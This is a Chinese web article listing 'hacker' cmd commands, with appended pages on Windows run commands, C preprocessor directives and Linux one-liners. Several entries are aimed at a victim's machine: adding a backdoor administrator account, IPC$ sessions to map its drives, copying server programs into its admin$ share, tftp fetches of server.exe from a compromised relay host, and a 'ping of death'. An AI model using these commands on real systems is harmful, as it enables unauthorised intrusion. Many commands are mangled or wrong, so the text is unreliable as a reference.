黑客cmd命令大全 有关黑客cmd命令脚本

黑客cmd命令大全

  在学习、工作乃至生活中,许多人都写过cmd命令吧,以下是小编帮大家整理的黑客cmd命令大全,仅供参考,欢迎大家阅读。

  net user heibai lovechina /add 加一个heibai的用户密码为lovechina

  net localgroup Administrators heibai /add 把他加入Administrator组

  net start telnet 开对方的TELNET服务

  net use z:127。0。0。1c$ 映射对方的C盘

  net use ipipc$ " " /user:" " 建立IPC空链接

  net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接

  net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:

  net use h: ipc$ 登陆后映射对方C:到本地为H:

  net use ipipc$ /del 删除IPC链接

  net use h: /del 删除映射对方到本地的为H:的映射

  net user 用户名 密码 /add 建立用户

  net user 查看有哪些用户

  net user 帐户名 查看帐户的属性

  net user guest /active:yes 将Guest用户激活

  net user guest lovechina 把guest的密码改为lovechina

  net user 用户名 / 删掉用户

  net user guest/time:m—f,08:00—17:00 表示guest用户登录时间为周一至周 五的net user guest/time:m,4am—5pm;t,1pm—3pm;w—f,8:00—17:00 表示guest用户登录时间为周一4:00/17:00,周二13:00/15:00,周三至周五8:00/17:00。

  net user guest/time:all表示没有时间限制。

  net user guest/time 表示guest用户永远不能登录。 但是只能限制登陆时间,不是上网时间

  net time 127。0。0。1 得到对方的时间,

  get c:index。htm d: 上传的文件是INDEX。HTM,它位于C:下,传到对方D:

  copy index。htm 127。0。0。1c$index。htm 本地C盘下的index。htm复制到127。0。0。1的C盘

  net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数

  net start 查看开启了哪些服务

  net start 服务名  开启服务;(如:net start telnet, net start schedule)

  net stop 服务名 停止某服务

  net time 目标ip 查看对方时间

  net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加参数/yes可取消确认信息 net view 查看本地局域网内开启了哪些共享

  net view ip 查看对方局域网内开启了哪些共享

  net config 显示系统网络设置

  net logoff 断开连接的共享

  net pause 服务名 暂停某服务

  net send ip "文本信息" 向对方发信息

  net ver 局域网内正在使用的网络连接类型和信息

  net share 查看本地开启的共享

  net share ipc$ 开启ipc$共享

  net share ipc$ /del 删除ipc$共享

  net share c$ /del 删除C:共享

  net user guest 12345 用guest用户登陆后用将密码改为12345

  net password 密码 更改系统登陆密码

  netstat —a 查看开启了哪些端口,常用netstat —an

  netstat —n 查看端口的网络连接情况,常用netstat —an

  netstat —v 查看正在进行的工作

  netstat —p 协议名 例:netstat —p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)

  netstat —s 查看正在使用的所有协议使用情况

  nbtsta* —* ** 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)—注意:参数—A要大写

  tracert —参数 ip(或计算机名) 跟踪路由(数据包),参数:“—w数字”用于设置超时间隔。

  ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“—l[空格]数据包大小”;“—n发送数据次数”;“—t”指一直ping。

  ping —t —l 65550 ip **之ping(发送大于64K的文件并一直ping就成了**之ping)

  ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息

  tlist —t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

  kill —F 进程名 加—F参数后**结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

  del —F 文件名 加—F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A—R、/A—H、/A—S、/A—A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *。*”表示删除当前目录下所有只读文件,“DEL/A—S *。*”表示删除当前目录下除系统文件以外的所有文件

  del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)

  move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖

  fc one。txt two。txt > 3st。txt 对比二个文件并把不同之处输出到3st。txt文件中,"> "和"> >" 是重定向命令

  at id号 开启已注册的某个计划任务

  at / 停止所有计划任务,用参数/yes则不需要确认就直接停止

  at id号 / 停止某个已注册的计划任务

  at 查看所有的计划任务

  at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机

  finger username @host 查看最近有哪些用户登陆

  telnet ip 端口 远和登陆服务器,默认端口为23

  open ip 连接到IP(属telnet登陆后的.命令)

  telnet 在本机上直接键入telnet 将进入本机的telnet

  copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件

  copy c:srv。exe $">ipadmin$ 复制本地c:srv。exe到对方的admin下

  cppy 1st。jpg/b+2st。txt/a 3st。jpg 将2st。txt的内容藏身到1st。jpg中生成3st。jpg新的文件,注:2st。txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件

  copy $svv。exe">ipadmin$svv。exe c: 或:copyipadmin$*。* 复制对方admini$共享下的srv。exe文件(所有文件)至本地C:

  xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件

  tftp —i 自己IP(用肉机作跳板时这用肉机IP) get server。exe c:server。exe 登陆后,将“IP”的server。exe下载到目标主机c:server。exe 参数:—i指以二进制模式传送,如传送exe文件时用,如不加—i 则以ASCII模式(传送文本文件模式)进行传送

  tftp —i 对方IP put c:server。exe 登陆后,上传本地c:server。exe至主机

  ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)

  route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface

  arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp —a将显示出全部信息

  start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令

  mem 查看cpu使用情况

  attrib 文件名(目录名) 查看某文件(目录)的属性

  attrib 文件名 —A —R —S —H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性

  dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间

  date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间

  set 指定环境变量名称=要指派给变量的字符 设置环境变量

  set 显示当前所有的环境变量

  set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量

  pause 暂停批处理程序,并显示出:请按任意键继续。。。。

  if 在批处理程序中执行条件处理(更多说明见if命令及变量)

  goto 标签 将cmd。exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)

  call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)

  for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)

  echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置

  echo 信息 在屏幕上显示出信息

  echo 信息 >> pass。txt 将"信息"保存到pass。txt文件中

  findstr "Hello" aa。txt 在aa。txt文件中寻找字符串hello

  find 文件名 查找某文件

  title 标题名字 更改CMD窗口标题名字

  color 颜色值 设置cmd**台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

  prompt 名称 更改cmd。exe的显示的命令提示符(把C:、D:**改为:EntSky )

  print 文件名 打印文本文件

  ver 在DOS窗口下显示版本信息

  winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)

  format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS

  md 目录名 创建目录

  replace 源文件 要替换文件的目录 替换文件

  ren 原文件名 新文件名 重命名文件名

  tree 以树形结构显示出目录,用参数—f 将列出第个文件夹中文件名称

  type 文件名 显示文本文件的内容

  more 文件名 逐屏显示输出文件

  doskey 要锁定的命令=字符

  doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=

  taskmgr 调出任务管理器

  chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误

  tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口

  exit 退出cmd。exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd。exe

  path 路径可执行文件的文件名 为可执行文件设置一个路径。

  cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?

  regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;

  regedit /e 注册表文件名 导出注册表

  cacls 文件名 参数 显示或修改文件访问**列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全**;例:cacls D: est。txt /D pub 设定d: est。txt拒绝pub用户访问。

  cacls 文件名 查看文件的访问用户权限列表

  REM 文本内容 在批处理文件中添加注解

  netsh 查看或更改本地网络配置情况

  IIS服务命令:

  iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)

  iisreset /start或stop 启动(停止)所有Internet服务

  iisreset /restart 停止然后重新启动所有Internet服务

  iisreset /status 显示所有Internet服务状态

  iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动

  iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机

  iisreset /noforce 若无法停止Internet服务,将不会**终止Internet服务

  iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。

  FTP 命令: (后面有详细说明内容)

  ftp的命令行格式为:

  ftp —v —d —i —n —g[主机名] —v 显示远程服务器的所有响应信息。

  —d 使用调试方式。

  —n 限制ftp的自动登录,即不使用。netrc文件。

  —g 取消全局文件名。

  help [命令] 或 ?[命令] 查看命令说明

  bye 或 quit 终止主机FTP进程,并退出FTP管理方式。

  pwd 列出当前远端主机目录

  put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中

  get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中

  mget [remote—files] 从远端主机接收一批文件至本地主机

  mput local—files 将本地主机中一批文件传送至远端主机

  dir 或 ls [remote—directory] [local—file] 列出当前远端主机目录中的文件。如果有本地文件,就将结果写至本地文件

  ascii 设定以ASCII方式传送文件(缺省值)

  bin 或 image 设定以二进制方式传送文件

  bell 每完成一次文件传送,报警提示

  cdup 返回上一级目录

  close 中断与远程服务器的ftp会话(与open对应)

  open host[port] 建立指定ftp服务器连接,可指定连接端口

  删除远端主机中的文件

  m [remote—files] 删除一批文件

  mkdir directory—name 在远端主机中建立目录

  rename [from] [to] 改变远端主机中的文件名

  rmdir directory—name 删除远端主机中的目录

  status 显示当前FTP的状态

  system 显示远端主机系统类型

  user user—name [password] [account] 重新以别的用户名登录远端主机

  open host [port] 重新建立一个新的连接

  prompt 交互提示模式

  macdef 定义宏命令

  lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录

  chmod 改变远端主机的文件权限

  case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母

  cd remote—dir 进入远程主机目录

  cdup 进入远程主机目录的父目录

  ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*。zip

  MYSQL 命令:

  mysql —h主机地址 —u用户名 —p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。

  (例:mysql —h110。110。110。110 —Uroot —P123456

  注:u与root可以不用加空格,其它也一样)

  exit 退出MYSQL

  mysqladmin —u用户名 —p旧密码 password 新密码 修改密码

  grant select on 数据库。* to 用户名@登录主机 identified by "密码"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)

  show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。

  use mysql;

  show tables; 显示库中的数据表

  describe 表名; 显示数据表的结构

  create database 库名; 建库

  use 库名;

  create table 表名 (字段设定列表); 建表

  drop database 库名;

  表名; 删库和删表

  from 表名; 将表中记录清空

  select * from 表名; 显示表中的记录

  mysqldump ——opt school>school。bbb 备份数据库:(命令在DOS的mysqlin目录下执行);注释:将数据库school备份到school。bbb文件,school。bbb是一个文本文件,文件名任取,打开看看你会有新发现。

  win2003系统下新增命令(实用部份):

  shutdown /参数 关闭或重启本地或远程主机。

  参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。

  例:shutdown /r /t 0 立即重启本地主机(无延时)

  taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。

  参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F **终止进程,/T 终止指定的进程及他所启动的子进程。

  tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。

  参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

  Linux系统下基本命令: 要区分大小写

  uname 显示版本信息(同win2K的 ver)

  dir 显示当前目录文件,ls —al 显示包括隐藏文件(同win2K的 dir)

  pwd 查询当前所在的目录位置

  cd cd 。。回到上一层目录,注意cd 与。。之间有空格。cd /返回到根目录。

  cat 文件名 查看文件内容

  cat >abc。txt 往abc。txt文件中写上内容。

  more 文件名 以一页一页的方式显示一个文本文件。

  cp 复制文件

  mv 移动文件

  rm 文件名 删除文件,rm —a 目录名删除目录及子目录

  mkdir 目录名 建立目录

  rmdir 删除子目录,目录内没有文档。

  chmod 设定档案或目录的存取权限

  grep 在档案中查找字符串

  diff 档案文件比较

  find 档案搜寻

  date 现在的日期、时间

  who 查询目前和你使用同一台机器的人以及Login时间地点

  w 查询目前上机者的详细资料

  whoami 查看自己的帐号名称

  groups 查看某人的Group

  passwd 更改密码

  history 查看自己下过的命令

  ps 显示进程状态

  kill 停止某进程

  gcc 黑客通常用它来编译C语言写的文件

  su 权限转换为指定使用者

  telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。

  ftp ftp连接上某服务器(同win2K)


黑客cmd命令大全扩展阅读


黑客cmd命令大全(扩展1)

——cmd命令大全

cmd命令大全

  现在大家用的Windows系统,都是离不开DOS命令的操作。学习DOS系统操作,cmd命令提示符是不可或缺的。下面是小编整理的关于的cmd命令大全相关内容,希望对大家有帮助。

  1. appwiz.cpl:程序和功能

  2. calc:启动计算器

  3. chkdsk.exe:Chkdsk磁盘检查(管理员身份运行命令提示符)

  4. cleanmgr: 打开磁盘清理工具

  5. cmd.exe:CMD命令提示符

  6. 自动关机命令

  Shutdown -s -t 600:表示600秒后自动关机

  shutdown -a :可取消定时关机

  Shutdown -r -t 600:表示600秒后自动重启

  7.wscui.cpl:操作中心

  8.wscript:windows脚本宿主设置

  9.write:写字板

  10.wmimgmt.msc:打开windows管理体系结构(WMI)

  11.winver:关于Windows

  12. CompMgmtLauncher:计算机管理

  13. compmgmt.msc:计算机管理

  14. credwiz:备份或还原储存的用户名和密码

  16. control:**面版

  17. dcomcnfg:打开系统组件服务

  19. devmgmt.msc:设备管理器

  20. desk.cpl:屏幕分辨率

  21. dfrgui:优化驱动器 Windows 7→dfrg.msc:磁盘碎片整理程序

  22. dialer:电话拨号程序

  23. diskmgmt.msc:磁盘管理

  24. dvdplay:DVD播放器

  25. dxdiag:检查DirectX信息

  26. eudcedit:造字程序

  27. eventvwr:事件查看器

  28. explorer:打开资源管理器

  29. Firewall.cpl:Windows***

  31. fsmgmt.msc:共享文件夹管理器

  32. gpedit.msc:组策略

  33. hdwwiz.cpl:设备管理器

  34. inetcpl.cpl:Internet属性

  35. intl.cpl:区域

  36. iexpress:木马捆绑工具,系统自带

  37. joy.cpl:游戏**器

  38. logoff:注销命令

  39. lusrmgr.msc:本地用户和组

  40. lpksetup:语言包安装/删除向导,安装向导会提示下载语言包

  41. lusrmgr.msc:本机用户和组

  42. main.cpl:鼠标属性

  43. mmsys.cpl:声音

  45. mem.exe:显示内存使用情况(如果直接运行无效,可以先管理员身份运行命令提示符,在命令提示符里输入mem.exe>d:a.txt 即可打开d盘查看a.txt,里面的.就是内存使用情况了。当然什么盘什么文件名可自己决定。)

  47. mmc:打开**台

  48. mobsync:同步命令

  50. Msconfig.exe:系统配置实用程序

  51. msdt:微软**诊断工具

  52. msinfo32:系统信息

  53. mspaint:画图

  54. Msra:Windows远程协助

  55. mstsc:远程桌面连接

  56. NAPCLCFG.MSC:客户端配置

  57. ncpa.cpl:网络连接

  58. narrator:屏幕“讲述人”

  59. Netplwiz:高级用户帐户**面板,设置登陆安全相关的选项

  60. netstat : an(TC)命令检查接口

  61. notepad:打开记事本

  62. Nslookup:IP地址侦测器

  63. odbcad32:ODBC数据源管理器

  64. OptionalFeatures:打开“打开或关闭Windows功能”对话框

  65. osk:打开屏幕键盘

  66. perfmon.msc:计算机性能监测器

  67. perfmon:计算机性能监测器

  68. PowerShell:提供强大远程处理能力

  69. printmanagement.msc:打印管理

  70. powercfg.cpl:电源选项

  71. psr:问题步骤记录器

  72. Rasphone:网络连接

  73. Recdisc:创建系统修复光盘

  74. Resmon:资源**器

  75. Rstrui:系统还原

  76. regedit.exe:注册表

  77. regedt32:注册表编辑器

  78. rsop.msc:组策略结果集

  79. sdclt:备份状态与配置,就是查看系统是否已备份

  80. secpol.msc:本地安全策略

  81. services.msc:本地服务设置

  82. sfc /scannow:扫描错误并复原/windows文件保护

  83. sfc.exe:系统文件检查器

  84. shrpubw:创建共享文件夹

  85. sigverif:文件签名验证程序

  86. slui:Windows激活,查看系统激活信息

  87. slmgr.vbs -dlv :显示详细的许可证信息

  slmgr.vbs -dli :显示许可证信息

  slmgr.vbs -xpr :当前许可证截止日期

  slmgr.vbs -dti :显示安装ID 以进行脱机激

  slmgr.vbs -ipk :(Product Key)安装产品密钥

  slmgr.vbs -ato :激活Windows

  slmgr.vbs -cpky :从注册表中**产品密钥(防止泄露引起的攻击)

  slmgr.vbs -ilc :(License file)安装许可证

  slmgr.vbs -upk :卸载产品密钥

  slmgr.vbs -skms :(name[ort] )批量授权

  88. snippingtool:截图工具,**无规则截图

  89. soundrecorder:录音机,没有录音时间的限制

  90. StikyNot:便笺

  91. sysdm.cpl:系统属性

  92. sysedit:系统配置编辑器

  93. syskey:系统加密,一旦加密就不能解开,保护系统的双重密码

  94. taskmgr:任务管理器(旧版)

  95. TM任务管理器(新版)

  96. taskschd.msc:任务计划程序

  97. timedate.cpl:日期和时间

  98. UserAccountControlSettings用户账户**设置

  99. utilman:辅助工具管理器

  100. wf.msc:高级安全Windows***

  101. WFS:Windows传真和扫描

  102. wiaacmgr:扫描仪和照相机向导


黑客cmd命令大全(扩展2)

——c语言命令大全

c语言命令大全

  无论是在学校还是在社会中,大家都经常接触到c语言吧。你写c语言时总是无从下笔?以下是小编精心整理的c语言命令大全,希望能够帮助到大家。

  一、#define

  命令#define定义了一个标识符及一个串。

  在源程序中每次遇到该标识符时,均以定义的串代换它。

  ANSI标准将标识符定义为宏名,将替换过程称为宏替换。

  命令的一般形式为:

  #define identifier string

  注意:

  1、该语句没有分号。

  在标识符和串之间可以有任意个空格,串一旦开始,仅由一新行结束。

  2、宏名定义后,即可成为其它宏名定义中的一部分。

  3、宏替换仅仅是以文本串代替宏标识符,前提是宏标识符必须**的识别出来,否则不进行替换。

  例如:

  #define XYZ this is a tes

  使用宏printf(“XYZ”);//该段不打印”this is a test”而打印”XYZ”。

  因为预编译器识别出的是”XYZ”

  4、如果串长于一行,可以在该行末尾用一反斜杠’ ’续行。

  #defineLONG_STRING"this is a very long

  string that is used as an example"

  5、C语言程序普遍使用大写字母定义标识符。

  6、用宏代换代替实在的函数的一大好处是宏替换增加了代码的速度,因为不存在函数调用的开销。

  但增加速度也有代价:由于重复编码而增加了程序长度。

  二、#error

  命令#error强迫编译程序停止编译,主要用于程序调试。

  #error指令使预处理器发出一条错误消息,该消息包含指令中的文本.这条指令的目的就是在程序崩溃之前能够给出一定的信息。

  三、#include

  命令#i nclude使编译程序将另一源文件嵌入带有#include的源文件,被读入的源文件必须用双引号或尖括号括起来。

  例如:

  #include”stdio.h”或者#include

  这两行代码均使用C编译程序读入并编译用于处理磁盘文件库的子程序。

  将文件嵌入#i nclude命令中的文件内是可行的,这种方式称为嵌套的嵌入文件,嵌套层次依赖于具体实现。

  如果显式路径名为文件标识符的一部分,则仅在那些子目录中搜索被嵌入文件。

  否则,如果文件名用双引号括起来,则首先检索当前工作目录。

  如果未发现文件,则在命令行中说明的所有目录中搜索。

  如果仍未发现文件,则搜索实现时定义的标准目录。

  如果没有显式路径名且文件名被尖括号括起来,则首先在编译命令行中的目录内检索。

  如果文件没找到,则检索标准目录,不检索当前工作目录。

  四、条件编译命令

  有几个命令可对程序源代码的各部分有选择地进行编译,该过程称为条件编译。

  商业软件公司广泛应用条件编译来提供和维护某一程序的许多顾客版本。

  #if、#else,#elif及#endif

  #if的一般含义是如果#if后面的常量表达式为true,则编译它与#endif之间的代码,否则跳过这些代码。

  命令#endif标识一个#if块的结束。

  #define MAX 91

  #include

  using namespace std;

  int main()

  {

  #if MAX > 99

  cout<<"MAX is bigger than 99"<

  #elif MAX > 90

  cout<<"MAX is bigger than 90"<

  #else

  cout<<"MAX is smaller than 90"<

  #endif

  return 0;

  }

  跟在#if后面的表达式在编译时求值,因此它必须仅含常量及已定义过的标识符,不可使用变量。

  表达式不许含有操作符sizeof(sizeof也是编译时求值)。

  #else命令的功能有点象C语言中的else;#else建立另一选择(在#if失败的情况下)。

  注意,#else属于#if块。

  #elif命令意义与ELSE IF 相同,它形成一个if else-if阶梯状语句,可进行多种编译选择。

  #elif 后跟一个常量表达式。

  如果表达式为true,则编译其后的.代码块,不对其它#elif表达式进行测试。

  否则,顺序测试下一块。

  #if expression

  statement sequence

  #elif expression1

  statement sequence

  #endif

  在嵌套的条件编译中#endif、#else或#elif与最近#if或#elif匹配。

  # ifdef 和# ifndef

  条件编译的另一种方法是用#ifdef与#ifndef命令,它们分别表示”如果有定义”及”如果无定义”。

  # ifdef的一般形式是:

  #define MAX 91

  #include

  using namespace std;

  int main()

  {

  #ifdef MAX

  cout<<"hello,MAX!"<

  #else

  cout<<"where is MAX?"<

  #endif

  #ifndef LEO

  cout<<"LEO is not defined"<

  #endif

  return 0;

  }

  命令#undef 取消其后那个前面已定义过有宏名定义。

  一般形式为:

  #undef macroname

  命令#line改变__LINE__与__FILE__的内容,它们是在编译程序中预先定义的标识符。

  命令的基本形式如下:

  #line number["filename"]

  其中的数字为任何正整数,可选的文件名为任意有效文件标识符。

  行号为源程序中当前行号,文件名为源文件的名字。

  命令#line主要用于调试及其它特殊应用。

  注意:在#line后面的数字标识从下一行开始的数字标识。

  #line 100 "jia"

  cout<<"#line change line and filename!"<

  cout<<__LINE__<

  cout<<__FILE__<

  五、#pragma

  命令#pragma 为实现时定义的命令,它允许向编译程序传送各种指令。

  #pragma的作用是设定编译器的状态或者是指示编译器完成一些特定的动作。

  #pragma指令对每个编译器给出了一个方法,在保持与C和C++语言完全兼容的情况下,给出主机或操作系统专有的特征。

  依据定义,编译指示是机器或操作系统专有的,且对于每个编译器都是不同的。

  其格式一般为: #Pragma Para

  1、message 参数。

  Message 参数能够在编译信息输出窗口中输出相应的信息,这对于源代码信息的**是非常重要的。

  其使用方法为:

  #pragma message(“消息文本”)

  当编译器遇到这条指令时就在编译输出窗口中将消息文本打印出来。

  当我们在程序中定义了许多宏来**源代码版本的时候,我们自己有可能都会忘记有没有正确的设置这些宏,此时我们可以用这条指令在编译的时候就进行检查。

  假设我们希望判断自己有没有在源代码的什么地方定义了_X86这个宏可以用下面的方法

  #ifdef _X86

  #pragma message(“_X86 macro activated!”)

  #endif

  当我们定义了_X86这个宏以后,应用程序在编译时就会在编译输出窗口里显示“_

  X86 macro activated!”。

  我们就不会因为不记得自己定义的一些特定的宏而抓耳挠腮了。

  2、code_seg 参数。

  格式如:

  #pragma code_seg( ["section-name"[,"section-class"] ] )

  它能够设置程序中函数代码存放的代码段,当我们开发驱动程序的时候就会使用到它。

  3、#pragma once (比较常用)

  只要在头文件的最开始加入这条指令就能够保证头文件被编译一次。

  这条指令实际上在VC6中就已经有了,但是考虑到兼容性并没有太多的使用它。

  4、#pragma hdrstop

  表示预编译头文件到此为止,后面的头文件不进行预编译。

  BCB可以预编译头文件以加快链接的速度,但如果所有头文件都进行预编译又可能占太多磁盘空间,所以使用这个选项排除一些头文件。

  有时单元之间有依赖关系,比如单元A依赖单元B,所以单元B要先于单元A编译。

  你可以用#pragma startup指定编译优先级,如果使用了#pragma package(smart_init) ,BCB就会根据优先级的大小先后编译。

  5、#pragma resource “*.dfm”

  表示把*.dfm文件中的资源加入工程。

  *.dfm中包括窗体外观的定义。

  6、#pragma warning( disable : 4507 34; once : 4385; error : 164 )

  等价于:

  #pragma warning(disable:4507 34) /* 不显示4507和34号警告信息。

  如果编译时总是出现4507号警告和34号警告, 而认为肯定不会有错误,可以使用这条指令。

  */

  #pragma warning(once:4385) // 4385号警告信息仅报告一次

  #pragma warning(error:164) // 把164号警告信息作为一个错误。

  //同时这个pragma warning 也**如下格式:

  #pragma warning( push [ ,n ] )

  #pragma warning( pop )

  //这里n**一个警告等级(1---4)。

  #pragma warning( push )保存所有警告信息的现有的警告状态。

  #pragma warning( push, n)保存所有警告信息的现有的警告状态,并且把全局警告等级设定为n。

  #pragma warning( pop )向栈中弹出最后一个警告信息,在入栈和出栈之间所作的一切改动取消。

  例如:

  #pragma warning( push )

  #pragma warning( disable : 4705 )

  #pragma warning( disable : 4706 )

  #pragma warning( disable : 4707 )

  //.......

  #pragma warning( pop )

  在这段代码的最后,重新保存所有的警告信息(包括4705,4706和4707)。

  7、pragma comment(…)

  该指令将一个注释记录放入一个对象文件或可执行文件中。

  常用的lib关键字,可以帮我们连入一个库文件。

  8、progma pack(n)

  指定结构体对齐方式。

  #pragma pack(n)来设定变量以n字节对齐方式。

  n 字节对齐就是说变量存放的起始地址的偏移量有两种情况:

  第一、如果n大于等于该变量所占用的字节数,那么偏移量必须满足默认的对齐方式,

  第二、如果n小于该变量的类型所占用的字节数,那么偏移量为n的倍数,不用满足默认的对齐方式。

  结构的总大小也有个约束条件,分下面两种情况:如果n大于所有成员变量类型所占用的字节数,那么结构的总大小必须为占用空间最大的变量占用的空间数的倍数; 否则必须为n的倍数。

  下面举例说明其用法。

  #pragma pack(push) //保存对齐状态

  #pragma pack(4)//设定为4字节对齐

  struct test

  {

  char m1;

  double m4;

  int m3;

  };

  #pragma pack(pop)//恢复对齐状态

  为测试该功能,可以使用sizeof()测试结构体的长度!


黑客cmd命令大全(扩展3)

——linux命令大全

linux命令大全

  计算机是现代人的必备技能,linux命令是对Linux系统进行管理的命令。那么你对linux命令有所了解吗?下面是小编为大家整理的linux命令大全,欢迎阅读转发

  linux命令 篇1

  1.检查远程端口是否对bash开放:

  echo >/dev/tcp/8.8.8.8/53 && echo "open"

  2.让进程转入**:

  Ctrl + z

  3、将进程转到前台:

  fg

  4.产生随机的十六进制数,其中n是字符数:

  openssl rand -hex n

  5.在当前shell里执行一个文件里的命令:

  source /home/user/file.name

  6.截取前5个字符:

  ${variable:0:5}

  7.SSH debug 模式:

  ssh -vvv user@ip_address

  8.SSH with pem key:

  ssh user@ip_address -i key.pem

  9.用wget抓取完整的网站目录结构,存放到本地目录中:

  wget -r --no-parent --reject "index.html*" http://hostname/ -P /home/user/dirs

  10.一次创建多个目录:

  mkdir -p /home/user/{test,test1,test2}

  11.列出包括子进程的进程树:

  ps axwef

  12.创建 war 文件:

  jar -cvf name.war file

  13.测试硬盘写入速度:

  dd if=/dev/zero of=/tmp/output.img bs=8k count=256k; rm -rf /tmp/output.img

  14.测试硬盘读取速度:

  hdparm -Tt /dev/sda

  15.获取文本的md5 hash:

  echo -n "text" | md5sum

  16.检查xml格式:

  xmllint --noout file.xml

  17.将tar.gz提取到新目录里:

  tar zxvf package.tar.gz -C new_dir

  18.使用curl获取HTTP头信息:

  curl -I http://www.example

  19.修改文件或目录的时间戳(YYMMDDhhmm):

  touch -t 0712250000 file

  20.用wget命令执行ftp下载:

  wget -m ftp://username:password@hostname

  21.生成随机密码(例子里是16个字符长):

  LANG=c < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;

  22.快速备份一个文件:

  cp some_file_name{,.bkp}

  23.访问Windows共享目录:

  smbclient -U "DOMAINuser" //dc.domain/share/test/dir

  24.执行历史记录里的命令(这里是第100行):

  !100

  25.解压:

  unzip package_name.zip -d dir_name

  26.输入多行文字(CTRL + d 退出):

  cat > test.txt

  27.创建空文件或清空一个现有文件:

  |> test.txt

  28.与Ubuntu NTP server同步时间:

  ntpdate ntp.ubuntu

  29.用netstat显示所有tcp4**端口:

  netstat -lnt4 | awk {print $4} | cut -f2 -d: | grep -o [0-9]*

  30.qcow2镜像文件转换:

  qemu-img convert -f qcow2 -O raw precise-server-cloudimg-amd64-disk1.img precise-server-cloudimg-amd64-disk1.raw

  31.重复运行文件,显示其输出(缺省是2秒一次):

  watch ps -ef

